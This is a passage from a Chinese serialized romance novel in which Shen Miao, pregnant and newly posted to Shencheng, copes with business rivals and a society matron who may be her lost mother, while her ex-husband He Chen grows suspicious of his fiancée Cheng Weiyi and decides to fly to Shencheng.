“商商这几天有没有不适应的地方?”
商音搓着下巴,在她对面坐着。
“没有,他随我,可随和了,就是可惜没找到合适的育儿嫂带她。”
商音那浓烈的母爱,随着几天亲力亲为带娃,一点点被耗尽。
沈渺,“不急,慢慢找,网上有很多育儿嫂虐待小孩的,不能马虎。”
“不过,我倒是给你找好了月子中心,这两天有空去看看,提前定下来,那家月子中心可忙了,得提前好几个月预约。”
按理说,沈渺现在预约已经晚了。
幸好那家月子中心,有人是商音的粉丝,给走了后门,挤出来一个名额。
沈渺点头,“好,等我到公司看看行程安排,提前告诉你什么时候去。”
“行。”商音抬起头看了眼玄关的表,“吃饱赶紧睡,明天还得上班,我先上楼了。”
“不急。”沈渺忙不迭开口,“再陪我坐会儿。”
商音脚步一顿,折回来打量起沈渺。
不对劲。
沈渺往日里话可没这么多。
一进门就喊她的名字,快速地切入话题聊天。
进门这么久,她几乎就没停下来说话,虽然言简意赅,但也比平时的沉默寡言多了许多回应。
“怎么了?”她重新坐下来,打量着沈渺,“遇到什么事情了?”
沈渺回来的路上就饿了。
这碗面也很香,可是她双手捧着碗,却一点食欲都没有。
“没事。”她低头看着面碗,低垂着的眼帘令人看不透她表情。
可她的脸上,写着‘有事’两个大字。
商音大脑飞速运转,想到什么似的说,“跟贺忱有关吧?”
“就是工作有些累,音音,我想等稳定一些后,辞职。”
沈渺不可否认,她至今还会被贺忱影响。
理智和感性在她这儿,是并行不相上下的。
她不想搞自己心态。
“辞。”商音毫不犹豫地说,“要不是现在咱缺点钱,才不伺候贺忱呢。”
说着,她想起一件事情,话锋一转道,“我这两天给你做营养餐,突然有了个想法,起个新号,专门记录商商的成长,跟你这个大肚婆的日常,放心不拍脸。”
沈渺点头,“随你。”
说完,她看了眼楼上,又挤出一个笑容,“去睡吧,我也累了,吃完赶紧休息。”
“陪你吃完,赶紧吃吧。”
商音冲她一笑,分享着商商好玩的事情,转移沈渺的注意力。
“商商现在可调皮了,今天捣乱我吵了他两句,他居然敢还嘴了‘啊啊啊’地冲着我叫……”
沈渺吃着面,听她说着,有一搭没一搭地聊。
可就算是这样,当晚,她还是失眠了。
——
京北,贺家。
程唯怡刚洗过澡,穿着红色的睡衣,刚过屁股,露出两条白花花的大腿。
她拉开阳台的门出来,羞答答地看着贺忱。
贺忱回头看了她一眼,没等反应过来时,耳畔就传来忙音。
他将手机拿下来,看着挂断电话的界面,眸色一深。
片刻,他把手机放回口袋里。
“困了就早点休息,我先走了。”
他目不斜视的进入卧室,朝门口走去。
程唯怡一愣,转身跟上他,“你去哪里啊?”
贺忱,“明天一早有会议,在老宅过去太远,我回兰园。”
“回,回兰园?”程唯怡傻了。
说好的让她留下来,住他房间,不是一起睡的意思吗?
贺忱折身往楼下走。
程唯怡反应过来,快步追上去,“贺忱哥,这么晚了你就别走了,明天早起来半小时去公司不行吗?”
“不了。”
贺忱整顿腕表,下楼的步伐不减。
“你走了,那,那我呢?”程唯怡想说我跟你一起走。
可她又说不出口这种话。
“当自己家,住下来就行,反正又不是没住过。”
贺忱走到玄关换鞋,回头看了她一眼,“早点休息。”
说完他推门离开。
程唯怡想追出来,可看他不容拒绝的脸色,她的双腿犹如灌了铅。
追上去有什么用?
贺忱不会留下来的!
院子里传来引擎声,油门轰鸣,渐渐远去。
明黎艳在房间里听京剧敷面膜,贺岭山已经躺下,两人都没发现有人开车走了。
贺老爷子跟贺老夫人年纪大了,耳朵不好使,也没听见。
全家上下,就贺懿一个耳朵灵敏的。
她一骨碌爬起来,到窗边一看。
“我哥走了?跟程唯怡一起走的?咋,嫌家里隔音不好?”
她下床推开门,想去楼上看看,贺忱到底是走了还是有事出去,程唯怡在不在?
谁知她刚走到二楼栏杆处,就看到程唯怡孤单的身影,在玄关站着。
光线昏暗,看不清程唯怡的脸色,但是能听到小声的抽泣。
“噗——”
贺懿捂住嘴,憋住笑,撒脚往房间里跑。
关上门,她也没敢放声大笑,生怕被听见,跟程唯怡的关系更不好。
到时候明黎艳就要骂她了。
可她抄起手机,就给贺老夫人打电话,“奶奶!我哥走了,他把程唯怡丢下了!哈哈哈哈哈……”
贺老夫人:“……”
“消停点。”
贺懿笑到上不来气,声音总算小了一些时,贺老夫人丢下三个字,挂电话。
末了,她看向贺老爷子。
“老头子,你说你孙子怎么回事?”
贺老爷子,“具体怎么回事不清楚,但他对程唯怡,不是明黎艳预期的那样。”
明黎艳预期他们青梅竹马,两情相悦,修成正果。
“他要不喜欢程唯怡,结这个婚干什么?我要弄清楚。”
贺老夫人虽然看不上程唯怡,但如果贺忱喜欢她也不会阻止。
可如果贺忱不喜欢还娶,不论什么缘由,她都得插手。
160.生米煮成熟饭了?
“儿孙自有儿孙福。”
贺老爷子看得很开,“当初他跟渺渺,你怎么插手也不管用,现在也是一样,他有自己的主意。”
贺老夫人瞪他一眼,“我看你是想让他早点结婚抱曾孙,不管不顾了。”
“……”贺老爷子:现在改口,还来得及吗?
“滚去睡沙发。”贺老夫人来了脾气,把他枕头扔下床,“看到你就糟心。”
老头子不说话,默默捡起枕头,去了沙发床上。
贺老夫人的气来得快消得快,心思很快就不在贺老爷子身上。
她思忖着,应该没什么事情能威胁到贺忱不得跟程唯怡结婚。
不行,她一定要弄清楚。
当晚,程唯怡到底还是没走。
次日一早,餐桌上气氛欢快。
确切一点来说,是明黎艳的心情不错,她哼着歌,一边看商业晨报一边用餐。
“妈,啥事儿这么高兴。”
贺懿一副见鬼了的表情。
“大人的事情小孩子少插嘴。”明黎艳的话不好听,但嘴角一直上扬着,“赶紧吃饭,一会儿上班迟到了。”
“好嘞。”贺懿老实吃饭,眼神跟贺老夫人交流,到底咋滴了?
贺老夫人暗暗摇头,她一向懒得琢磨明黎艳的心情。
早餐进入尾声,贺懿抽了张纸巾准备离开时——
程唯怡下楼了。
她的脸色不怎么好。
明黎艳把晨报拿到一旁,询问道,“是不是昨晚……睡太晚了啊?脸色这么差?多睡一会再下来也行,又没外人,别跟贺忱比,他精力一向充足,一大早走的吧?”
贺懿屁股刚离了椅子,听到明黎艳这话又坐回来了。
感情明黎艳这么高兴,是以为昨晚贺忱跟程唯怡生米煮成熟饭了?
“妈,我——”
我哥昨晚上就走了!
她的话还没说出口,突然被人踢了一脚。
“哎呦——”
她回头,对上贺老夫人的目光。
贺老夫人朝她摇头,这话让程唯怡说,她说就显得幸灾乐祸了。
贺懿老实下来。
她刚老实了,却冷不丁因为程唯怡的话愣住。
“对,贺忱哥一早就走了,他说要去开会,他……几乎一晚上没睡,我真担心他工作太忙,身体吃不消。”
口口声声是工作,却字字句句都标黄。
说得好像昨晚的一夜没睡,他们大战了八百回合一样。
贺懿眼皮一抽,差点儿没把白眼珠翻出来。
程唯怡这女人居然撒谎不眨眼!
贺老夫人拧起眉,显然也是意外,程唯怡竟然在这种事情上,撒谎。
“瞧瞧,还没过门呢就知道心疼贺忱了,放心吧,他的身体素质一向很好,偶尔一两晚不睡没事的,你赶紧吃东西,我让厨房炖了汤,等会儿你给贺忱送到公司去。”
明黎艳拍了拍程唯怡的手,然后又亲手给她剥了个水煮蛋。
只是那水煮蛋刚剥好,就被贺懿拿走了。
“妈,有汤吗?我顺路给我哥带着吧,别麻烦程小姐了。她也怪辛苦的呢。”
末尾那句,阴阳怪气到了极点。
程唯怡下意识看向她,对上她似笑非笑的目光,有种被看透谎言的错觉。
“不许胡闹,赶紧去上班。”
明黎艳欲把她手里的水煮蛋拿回来。
贺懿直接咬了一口。
她只能再给程唯怡剥一颗。
“贺懿就是被爷爷奶奶惯坏了,你是她嫂子,以后多担待。”
她同程唯怡说。
程唯怡点头,见贺懿走了,她面子缓和了许多。
下楼的那一刻,她是带着难过的。
本以为大家都知道贺忱昨晚走了。
谁知,他们都不知道。
明黎艳对她的态度,也转了一个大弯。
似乎那次绯闻她差点儿害了贺忱,令明黎艳产生的不满,在一瞬间消失了。
她硬着头皮就承认了,这一刻她感觉贺少夫人的位置,稳了!
“伯母放心,我以后一定会包容小懿的。”
贺老夫人放下筷子,起身离桌。
“奶奶,您吃好了?”程唯怡打招呼。
“没吃好,吃不下。”贺老夫人径直去了客厅。
程唯怡‘哦’了一声。
“奶奶年纪大了,胃口偶尔不正常,没事。”
明黎艳催促道,“你快点吃,吃完了去给贺忱送汤。”
程唯怡点头,脸上终于溢出一丝笑容来。
——
高夫人开的会所是专供上流圈子贵太太小聚消遣的。
沈渺到的时候,一群打扮得花枝招展,保养得当的贵太太们正坐在遮阳伞下吃甜品。
下午三点,阳光正浓,温度适宜。
沈渺穿了一件黑色连衣裙,长发梳成马尾,发梢扫过肩膀,充满了朝气青春。
周敬才没跟进去,他站在车边,悄无声息地拍了一张她的照片,发出去,然后收起手机回到车上等着。
“沈总,快过来。”
高夫人看到沈渺来了,起身相应。
她打量沈渺的目光,依旧是控制不住的直接。
“高夫人,叫我沈渺吧。”
今天不是商业局,一口一个‘沈总’显得不合群。
“沈渺?”高夫人刚知道她的名字,“真好听的名字,你父母一定非常有文化涵养。”
第二次见面。
每一次见,高夫人都是没说几句话,就触及到了沈渺的父母。
沈渺只是笑笑,“您过奖了。”
“过来,我给你介绍一下。”
高夫人带着沈渺入座,挨个给沈渺介绍。
“这位是林太太,那位张太太……”
众人纷纷跟沈渺打招呼,但看脸色都在猜忌,沈渺的身份。
高夫人最后才介绍沈渺。
“这位是百荣分部新上任的沈总,沈渺,前几天刚出席了振山的商业酒会,可能是我没女儿的缘故,只见了沈渺一次就喜欢,今天把她带过来,给大家认识一下。”
高夫人这番话说很是微妙,拉进了跟沈渺的关系,从第二次见面到有认沈渺当干女儿的亲密程度。
她一口一个‘沈渺’,聊得好像她们已经很熟。
她们的话题,大多围绕家庭孩子,还有深城上层圈子哪家又出了丑闻。
沈渺插不上嘴,坐了一会儿就以去洗手间为由,起身离开。
她不擅长这种交际,跟贺忱那两年她都没有跟明黎艳出席过这种贵太太局。
有种令人窒息的无力感。
她在卫生间那边拐角,去小花园里透气。
刚在藤编椅上坐下,就听身后传来脚步以及交谈声。
“高太太搞笑死了,说什么没女儿想要女儿,谁不知道他们家是出了名的重男轻女?”
“听说她第一胎怀的是个女儿,生下来丢了……”
“嘘,这话可不能外传,不然得罪死了!”
161.你在躲着我,你是不是在想沈渺
沈渺在孤儿院,听到最多的就是重男轻女这几个字。
孤儿院健全的孩子不多,为数不多的几个健全小孩中,女孩占多数。
她常听浅姨说,女孩子就是赔钱货。
这样的话题,在豪门中更是多见。
上亿资产需要继承,没儿子不行。
那两人渐渐远去,并未发现沈渺的存在。
沈渺又待了一会儿,准备回去,太长时间离席显得不好。
她刚从卫生间拐角出来,就看到高夫人匆匆走出卫生间。
紧绷的脸色看到她时,松懈下来。
“你去哪里了?我以为你走了。”
沈渺,“我去花园透透气,抱歉,失礼了。”
她不该招呼都不打一声,就去了别的地方。
可高夫人脸上那股子担忧,有些过头。
“没事,她们都去棋牌室了,你会打牌吗?”
高夫人走过来问。
沈渺摇头。
“那你跟我来。”
高夫人拉着她手腕,带着她穿过林荫小路,走到一幢二层洋楼前。
“这里有专业的美容师,国外进口的机器,我们一起试一下。”
她拉着沈渺进去,立刻有人过来招待,引着她们进入房间。
“谢谢高太太安排,我容易过敏,就不体验了。”
进入房间后,沈渺总算逮到了机会开口说话。
高夫人意外地看着她,“你也容易皮肤过敏?”
也?
“可能是刚到深城来的原因,这几天有些过敏症状。”
沈渺敏锐地捕捉到那个字,却并未深入解读什么意思。
高夫人‘哦’了一声,想了想说,“那我让人给你泡壶茶,你在这里坐着休息,怎么样?”
“好。”沈渺颔首,走到休息区的沙发上坐下。
有人泡了玫瑰花茶过来,给她倒上。
她道了谢,端着茶盏小口小口喝着,在找合适的机会向高夫人提出告辞。
高夫人躺在床上,闭着眼睛享受美容师的按摩,一直在同沈渺聊天。
“沈渺,来深城这几天还习惯吗?”
沈渺,“还好。”
“听说京北特别冷,我二十多年前去过一次,当时下着大雪,雪景虽然美,可是温度太低了,我受不了。”
高夫人苦涩一笑说,“从那以后,我再也没有去过。”
沈渺,“习惯了就不会觉得冷。”
“是吗?”高夫人被敷上了面膜,她坐起来看向沈渺,“等你在深城安稳下来,把你的父母接过来吧,很多北方人都来这里养老的。”
包厢里灯光昏暗,沈渺看不清楚高夫人的眼神。
敷着面膜的缘故,她连高夫人的脸色都看不清。
静默数秒,沈渺说,“我没有父母,在孤儿院长大的。”
房间里更静了,落针可闻。
“不好意思,提到你的伤心事了。”
高夫人声音带着不易察觉的颤抖,“那,你这些年过得好吗?”
沈渺,“还行。”
“你没想过找你的家人吗?”高夫人忙又问,“依照你现在的实力,是有足够的能力寻找你家人的。”
沈渺,“没想过。”
比起她的干脆利落和平静,高夫人显得分外激动。
“为什么不找!你是不是怪他们,把你弄丢了?”
沈渺一怔。
房间里的灯忽然亮了不少,美容师从外面进来。
高夫人回了神,她扯动唇角笑了笑。
“抱歉,我这些年资助了一个‘孩子回家’的公益,专门帮忙寻找走丢、拐卖的儿童,看到那些丢了孩子的父母难过伤心的样子,我就着急,所以我想……你的父母可能也很着急。”
“高太太善良。”
沈渺想到刚刚听到的对话,说高夫人丢弃过一个女孩。
不知真假,但现在看来高夫人确实对她这个孤儿身份,显得很激动。
不知过了多久,高夫人突然又开了口。
“你一个女孩子能在商圈有今天的地步,实在不容易,这些年很辛苦吧?”
沈渺淡笑,“运气好,跟对了上司。”
她不得不否认,她有今天全都是贺忱的功劳。
“这样挺好,一个人好好的,家里人……不找也罢。”
高夫人重新躺下,让美容师卸面膜。
沈渺继续品茶,手机突然响了一声,是贺忱发来的消息。
她趁机放下茶杯起身,“高太太,我还有工作要处理,先失陪了,谢谢您的邀请,改天再见。”
高夫人正在全脸覆膜,她抬了抬手,算是回应了沈渺的话。
沈渺拿了包转身离开,脚步声渐渐远去。
彻底消失在房间里时,房间里响起一声长长的叹息。
沈渺回到车上才打开手机,却只看到贺忱撤回一条消息。
她发了一个问号过去。
那端,手机响了一声,站在窗边的贺忱捏着烟,走到办公桌前。
他点开对话框,对着那一个问号晃神几秒。
办公室门被敲响。
他放下手机,“进。”
程唯怡推门进来,闻到烟味,忍不住拧了拧眉。
“我听林助说,你最近吸烟、喝酒的频率很高,是不是工作压力太大了?”
她将保温桶放在办公桌上,转过身,直面看着贺忱。
“还好。”贺忱掐灭烟,回到工位上坐下,“还没去看酒店吗。”
程唯怡,“伯母突然有事,明天再去。”
她抿着嘴唇,看着贺忱那副冷然的模样,好一会儿她朝他走过去,伸出手来。
她的食指贴着创可贴,依稀可见血液浸透。
“贺忱哥,我好疼。”
贺忱抬头看过来,“怎么弄的。”
“弄汤的时候,不小心划伤了。”
程唯怡又往他那边凑了凑。
她还想再说什么,贺忱却已然收回目光。
“下次不用给我送汤了,公司餐厅什么都有。”
失落席卷而来,将程唯怡团团包裹住。
“贺忱哥,你是不是后悔跟我结婚了?你对我,没有以前那么好了,你在躲着我,你……你是不是在想沈渺?”
办公室里,带着哭腔的声音一瞬蔓延在每一个角落。
“你坐。”贺忱放下笔,指了指对面的位置,“刚好,我们谈谈。”
他语气虽然柔和了几分,但依旧难掩失落。
程唯怡的心里‘咯噔’一声,下意识想逃避与他的交谈。
他……想说什么?
162.有你我的原因,唯独没有沈渺的原因
“我既然答应了结婚,就不会反悔。”
贺忱一字一顿道,“可我不能只考虑结婚,还要考虑以后的事情,总要给长辈们一个交代。”
程唯怡在他对面,如坐针毡。
她明白他的意思,可装不明白,“我知道,我配不上你——”
“你要真知道,就该配合一些,我约了医生,明天你去。”
贺忱拿出一张名片,推到程唯怡面前。
程唯怡猛地抬起头,“我,你难道不信秦川……的医术吗?”
“信,但天外有天人外有人。”
贺忱眸色极深。
他敏锐地察觉出,秦川不止一次的让他带程唯怡去找其他医生,定有含义。
他不容置疑的话语,让程唯怡拒绝不得。
就像他答应她结婚时,也是拒绝不得的。
她轻咬内唇,好一会儿小声问,“贺忱哥,你还有一个问题没回答我,你……是不是后悔跟沈渺离婚了?”
“我就事论事,跟沈渺无关。”
贺忱避而不谈。
程唯怡,“你也在逃避!如果不是她,我们的关系不至于像现在这么糟糕,以前我们不是这样的!”
不管贺忱对她的感情有多少。
可至少以前贺忱愿意哄她,会陪着她。
但是订婚到结婚,明明是越来越近的关系,贺忱却离她越来越远了!
她不能再像以前一样来公司陪他,他们很久没有一起吃饭了。
甚至连最基本的电话和消息都没有。
“我们会走到今天,有你的原因也有我的原因,唯独没有沈渺的原因。”
贺忱条理清晰,“你做过什么,你比我清楚。”
程唯怡喉咙一梗。
“我还有会议,等会儿让林昭送你回去。”
贺忱起身,整顿了下领带和西装,阔步离开办公室。
程唯怡面前的名片静静躺在那里。
贺忱没再提醒她明天去看医生,可她知道这一回她非去不可。
可她,怎么去?
她深吸一口气,大脑飞速运转,掏出手机拨出一通电话。
“秦川,我们见一面,这次你还得帮我……”
程唯怡边打电话边往外走,冷不丁对上贺忱深沉的目光。
她下意识挂了电话。
“贺,贺忱哥,你不是走了吗?”
贺忱站在门口,手撑着门把,面色不辨喜怒,眸光沉而深。
他将门完全推开,进入办公室内。
“落了文件,回来取。”
程唯怡吞口水,目光一眨不眨地打量他,“你,我刚刚给秦川打了通电话,想让他帮我介绍好一些的医生。”
贺忱在一摞文件里,准确无误找出自己想要的。
他未曾抬头看程唯怡,只是说,“这个医生就很好。”
他指的是程唯怡手中名片的医生。
程唯怡见他没说别的,松一口气,“知道了。”
说完她转身离开办公室。
办公室的门未彻底关上之前,他抬眸看过去一眼,眼底划过稍纵即逝的精光。
“贺总。”
林昭敲了下门,然后推门进来,“程小姐走了,不让我送。”
“准备会议。”贺忱薄唇轻启。
“是,另外这是深城那边近况,您看看。”
林昭把平板递给贺忱。
贺忱扫了两眼,反问,“高家什么情况。”
“前些日子,高振山跟韩文松私下见过一面,之后没再见面,但我猜他们暗通曲款,必定有鬼,还有这个高夫人,总跟沈秘书套近乎,我担心沈秘书双拳难敌四手。”
又要应对商场老狐狸,还得应付上流圈子贵太太。
沈渺应接不暇。
“约微克老总见面。”贺忱看了看腕表,“今晚。”
林昭一愣,“啊?”
不等他反应过来,贺忱已经拿着文件去开会了。
“约谁?”林昭脑子转不过弯来,“微克老总?陈庆?干啥啊?”
他一连几个疑问,却没有人来解答。
——
沈渺前脚在高夫人那儿离开,后脚就上了新闻。
有记者偷拍到她想通过拉拢贵太太的方式,打通深城商圈关系。
但她的身份被扒了个干净,除了深受贺忱重用外,没有任何的背景,贵太太们根本不吃她这一套。
所以她夹着尾巴从会所里出来了。
这个新闻一出,韩文松立马给沈渺打来电话。
“沈总,您闹出这样的新闻,总部那边怕是交代不过去,我不是说了,公司有我们,您就坐在这个位置上老老实实的最好了。”
沈渺一边看新闻,一边接电话。
韩文松的声音在逼仄的车厢里,十分清晰地响起,
待他安静下来好一会儿,沈渺才不急不缓的开口。
“我可以被免职,但我不能罢工,我闯的篓子会自己跟总部那边交代,不劳韩经理费心。”
说完,她直接挂电话。
这件事情虽然会给百荣带来影响,但并不大。
别说她不是去疏通关系的,就算是去,也是为了百荣分部的发展。
只是‘灰溜溜’离开这些词汇,让她个人显得丢人罢了。
回到公司后,她给林昭发消息,询问贺忱的行程安排,她得给贺忱电话沟通,汇报这次的新闻。
“贺总在开高层会议,我把您远程切入会议中,刚好就两边分部的一些工作安排,也有需要您参与的地方。”
林昭压低声音说。
沈渺,“好,我现在就可以了。”
她打开电脑,登录公司会议软件,等待林昭接入。
视频会议打开得很快,快到贺忱矜贵的面容出现在屏幕上时。
做足准备的沈渺,心脏还是不可控制地悸动了下。
镜头中,男人身着白色衬衫,黑色西裤,短发干练,一双鹰隼般的沉眸透着绝对的肃杀和矜贵。
他单薄的眼皮低垂着,正在认真看面前的文件。
屏幕的亮度反射在他脸上,他才缓缓抬了下头。
隔着屏幕,沈渺与他对视。
她先回了神,收回目光。
“贺总,林助。”
沈渺率先开口。
镜头中,沈渺穿着白色衬衫,长发束起,不施粉黛的小脸下巴尖尖的。
她看起来不错,整个人圆润了些,但不胖,很丰腴。
“让他们先出去。”
贺忱颔首,算是跟沈渺打过招呼,他侧目吩咐林昭。
他话音一落,会议室的高层们瞬间站起来,往外走。
不出十秒,偌大的办公室,就只剩下贺忱一个人。
镜头中,他们面面相觑。
163.突然后悔,让你去深城
算算日子,沈渺去深城一个星期了。
不过七天,却仿若有种隔了半个世纪那么久。
隔着的屏幕镜头,让贺忱有种两个世界的错觉。
他喉结滚动,嗓音低沉着,“突然后悔,让你去深城。”
沈渺唇瓣微动,看着他极深的眸色,突然就失了声。
贺忱凝了她几秒,拿过桌上的烟,抽出一根点燃。
缭绕的雾气升起,笼罩着他俊朗的面庞。
“深城的情况,比我预想的复杂一些,怕你吃不消。”
他嗓音涔涔。
沈渺清了清嗓子,缓缓开口。
“贺总放心,我会顾全自己的安危,这次的事情我会向董事会做出解释——”
她现在担任分部总经理,有任何风吹草动是需要向董事会汇报的。
“不用,董事会那边,我来处理。”
贺忱拿下唇上的烟,烟圈在他薄唇里溢出。
另一只手里把玩着打火机,整个人看起来有几分肆意的松散。
可他周身散出的那股不容置疑,丝毫不受影响。
“我会尽快派人过去帮你。”
分部的副总经理位置还空着。
能再来个人跟沈渺一起应对突然状况,再好不过了。
沈渺点头,“好。”
话落,陷入沉寂。
依旧持续的视频通话,看起来没什么异样。
可禁不住细细打量,两人都有些许小动作,能看出微妙的气息。
良久,沈渺先开了口,“贺总,我们继续会议吧。”
她并不觉得,这几句话需要清场来说。
贺忱鼻腔里发出一个单音节,他掸了掸烟灰,说了句,“好好照顾自己。”
不等沈渺回应,他看向门口,“林昭。”
会议室的门应声而开,林昭重新带着高层们入场。
会议持续了很久,结束时天色已晚。
通话中断的那一刻,屏幕中男人的脸消失。
沈渺在位置上做了几秒,站起来收拾公文包走人。
而那端,贺忱却在会议室坐了很久。
直到林昭来提醒,“贺总,跟陈总约的七点,再不出发要迟到了。”
“知道了。”贺忱起身,将袖口扣子系上,阔步朝外面走去。
晚高峰,路上堵着,抵达目的地时已经七点过几分。
陈庆早已到了,却没进去,在餐厅门口等着。
看到贺忱的车过来了,他立马上前来开车门。
“贺总。”
贺忱拢了拢西装下车,看他一眼,“陈总不用这么客气。”
陈庆卑躬屈膝,竟是比以往还要尊敬。
“不客气,应该的,能让贺总亲自邀约,是我的荣幸。”
他跟在贺忱后面,进入餐厅,额头始终渗着一层冷汗。
片刻,两人在包厢落座。
点完单后,服务员先将酒水拿上来。
陈庆即刻起身,给贺忱倒酒。
贺忱却是将酒瓶拿过去,“陈总不用客气,今天是我有事相求。”
“贺,贺总没开玩笑吧?”陈庆一听那个‘求’字,下意识说,“我能帮您什么忙啊?”
“想管陈总要个人。”贺忱给陈庆倒酒。
陈庆赶紧把酒杯端起来,接住酒瓶口,“哎呀呀贺总,这可使不得,您有事一个电话就行。”
他站在贺忱的座位旁边,佝偻着身体。
“我想要张科研。”贺忱漠然开口。
陈庆的表情瞬间变了。
青白交加了好一阵,他试探性地问,“是,是为了沈秘书吗?”
贺忱眉梢一挑,意思不言而喻。
张科研能力虽然不错,可还不到入贺忱眼,让贺忱舍了面子亲自来要人的地步。
“贺总,我觉得有些事情顺其自然最好了,他们的事情我们就不要插手了吧?”
陈庆后背直冒冷汗。
可他还是硬着头皮,委婉地拒绝贺忱。
贺忱听出他弦外之音,“先前微克在深城创办了项目,我以为陈总会让张科研过去。”
“我问过张科研的意思,他不去。”
陈庆说完,又解释道,“张科研的母亲病重,正在京北治疗,他走不开。”
原来是这样。
贺忱了然,他眉头拧着,思绪略乱。
陈庆在旁边站着,打量他的脸色,摸不透他的想法,一味地提着心。
“那就算了。”
良久,贺忱薄唇吐出四个字。
陈庆送一口气,坐下来。
他刚坐下,贺忱却已经起身。
“突然想起来还有事,先失陪了。”
陈庆忙起身送,把人送走又回来的。
桌上的菜肴一口没动,他却毫无食欲,掏出手机给张科研打电话。
“张科研,你说你跟沈渺分手了,没骗我吧?”
那端,张科研语气坚定,“陈总,我从来不骗人,不然沈渺也不能去深城。”
“你可知道,刚刚贺忱找我,就为了你。”
陈庆想,或许贺忱不知道,沈渺跟张科研已经分手了。
又或者,贺忱知道,要张科研是为了替沈渺出气?
可贺忱为什么又问张科研去深城的事情?
张科研心里一惊,“那您……”
“我没松口,好在他没勉强,你跟沈渺没闹掰吧?可千万别得罪了,万一贺忱要替沈渺出头,你我都吃不消!”
陈庆再三叮嘱。
“陈总放心。”张科研再三保证后,结束通话。
然后他立马拨通了沈渺电话。
彼时,沈渺在回家的路上。
静默的车厢里,她正闭着眼睛小憩。
脑海里不断浮现刚刚会议室的场景,扰得她心神不宁时,手机响了。
她没存张科研的电话,只觉得这号码有些熟悉,便接了。
“沈渺。”
“张科研?”沈渺听出他声音,很意外。
张科研,“抱歉,这么晚打扰你了,我有件事想跟你说。”
他语气严肃,令安静的气氛显得更凝重。
“你说。”
张科研言简意赅,将事情说了一遍。
沈渺猝不及防想到贺忱那句,找人过来帮她。
他先前还说过,张科研可以申请调职。
“抱歉,给你带来麻烦了,不过你先不要担心,他找过陈总这一次,短期内不会再有所动作,我……会尽快处理好。”
“不用说抱歉,当初是我自愿帮你这个忙的,是我的冲动带来今天的后果,但是沈渺——”
张科研顿了顿,他提醒道,“贺总对你,不一般。”
哪个上司,会为了下属做这种事情?
164.贺忱决定去深城
成人之美的幕后,一定藏着别样的因素。
沈渺扯了扯嘴角,“深城这边情况复杂,他是怕我出事才舍下脸去找陈庆的。”
另外一层原因,沈渺想,贺忱还是想弥补她。
虽说,她不认为那段已经结束的婚姻,需要他的弥补。
“是吗。”张科研从未问过,沈渺跟贺忱到底是怎么回事。
他很有分寸,他们的关系没熟到那一步。
但此刻还是忍不住说了句,“贺总不是好糊弄的人,若他知道了,你想过后果吗?”
沈渺没想过,但是有些事情她不深挖,也能知道下场。
所以是她不敢想。
嘴上答应张科研会尽快处理好。
可沈渺根本不知道,该怎么处理。
她回到家里时,瓷白的小脸上挂着心事重重的样子。
“贺忱又干什么了。”
商音看她这表情,就知道跟贺忱有关系。
“没事。”沈渺强撑起情绪,冲商音笑了笑。
商音每天带商商,人瘦了一圈。
她像脱缰的野马,每天困在家里脾气肉眼可见的暴躁。
沈渺不想跟她说这些糟心的事情。
见她还在盯着自己看,沈渺又添一句,“工作太累了,我发愁什么时候才能熬出头。”
“先来吃点东西,把自己跟孩子养得胖胖的,再过上三个月,你就解放了!”
商音每天也在强撑着,迫不及待想找到保姆带孩子。
今天下午商商睡了午觉,这会儿还精神着。
沈渺把婴儿车拉过来,一边吃东西一边逗商商。
商音总算能喘口气,瘫倒在沙发上。
“今天我给浅姨打电话了,问那笔钱的下落,她死活不肯说。”
沈渺,“那钱估计是要不回来了。”
虽然她不认为,浅姨有短期内花那么大一笔钱的能力。
可钱确实不在浅姨账户下,或许是被转移了,就是怕她们要。
“那我也不能这么轻易就不要了,我隔三岔五就得骚扰她,让她睡觉都不能安稳。”
商音快气死了。
但凡她们手里钱再多一些,沈渺现在也不用这么辛苦。
沈渺把商商从婴儿车里抱出来,放在自己腿上,搂着小家伙吃东西,馋得小家伙眼睛瞪得溜圆,直盯着她看。
“没关系的,干妈还能再攒钱。”
她摸着商商的小脸,一边馋他,一边回应着商音。
——
京北,医院。
程唯怡昨天突然挂了秦川的电话后,不论再怎么打,都打不通了。
她给秦川发了消息,让秦川务必今天想办法,不然就鱼死网破。
八点半了,程唯怡在医院等了很久,没等来秦川,等来了贺忱。
“去安排一下。”
贺忱吩咐林昭。
林昭同程唯怡颔首示意,算打过招呼后,就按照贺忱的吩咐,去找医生。
贺忱站在窗前等着,他深邃的目光跳跃着远方。
程唯怡站在他身后,低头看了一眼时间,心底愈发着急。
难道,秦川真打算鱼死网破吗?
她不信,她手里可是有秦川最在意的东西!
“不用紧张,最坏的结果不过如此。”
贺忱将她的小动作尽收眼底,眸色又深了几分。
他却是说着安慰她的话。
程唯怡忙不迭把手机关了,“我,我只是不想再被伤害一次。”
她紧咬着嘴唇,心慌意乱演变成伤心。
“结果不见得是坏的。”贺忱语气清淡。
“如果,结果不是坏的,我们的婚礼还继续吗?”
程唯怡下意识问。
她问完,就看到贺忱的目光染上来探究。
“我只是抱着好的心态想事情,怕又闹出新闻,给你带来麻烦。”
她忙解释着。
贺忱站的笔直,轮廓分明的五官俊朗帅气,被清晨的阳光笼罩。
他漠然的目光,在适宜的温度里,释放出微冷的气息。
他没回应程唯怡,沉默让程唯怡的心渐渐沉入谷底。
她还想再说什么时,林昭匆匆归来。
“贺总,医生已经准备好了,可以让程小姐进去了。”
程唯怡吞了吞口水,下意识回头看了一眼。
整层楼,今天都是为了给她做检查准备的。
长廊尽头,空无一人。
秦川没有来。
他真的不来了?
程唯怡心里冒火,面色不受控制的难看。
“程小姐,请吧。”
林昭走到程唯怡面前,引着她进检查室。
程唯怡又看了眼贺忱,一步三口头地跟着林昭朝检查室走。
“程小姐,请进,我就在外面,您有事可以直接喊我。”
林昭将检查室的门推开,毕恭毕敬地邀请程唯怡进去。
程唯怡深吸一口气,一只脚刚踏入监察室内,她包里的手机就响了。
她立马将脚缩回来,接起电话。
“什么?我妈怎么了……”
程唯怡惊慌失措着,顾不上解释,接着电话就跑了。
林昭反应过来时,她已经跑到电梯口了。
“程小姐,程——”
他想去追。
背对着他们的男人冷不丁开口,“不用追了。”
林昭的脚步戛然而止,他折回来走到贺忱身边。
“听起来是程夫人出事了,我们要不要去看看?”
“不必。”贺忱嗓音涔涔。
他微眯的长眸,一瞬间就凝了冰般又冷又沉。
林昭摸不着头脑,看着已经跑了的程唯怡,又回过头看看一副老谋深算的贺忱。
“贺总,那我们……现在怎么办?”
贺忱静默数秒道,“现在你去订两张明天飞深城的机票。”
林昭惊掉下巴,“啊?飞深城?我和您?”
“我和秦川。”贺忱转过头来看着他,“京北这边你盯着,我亲自去深城。”
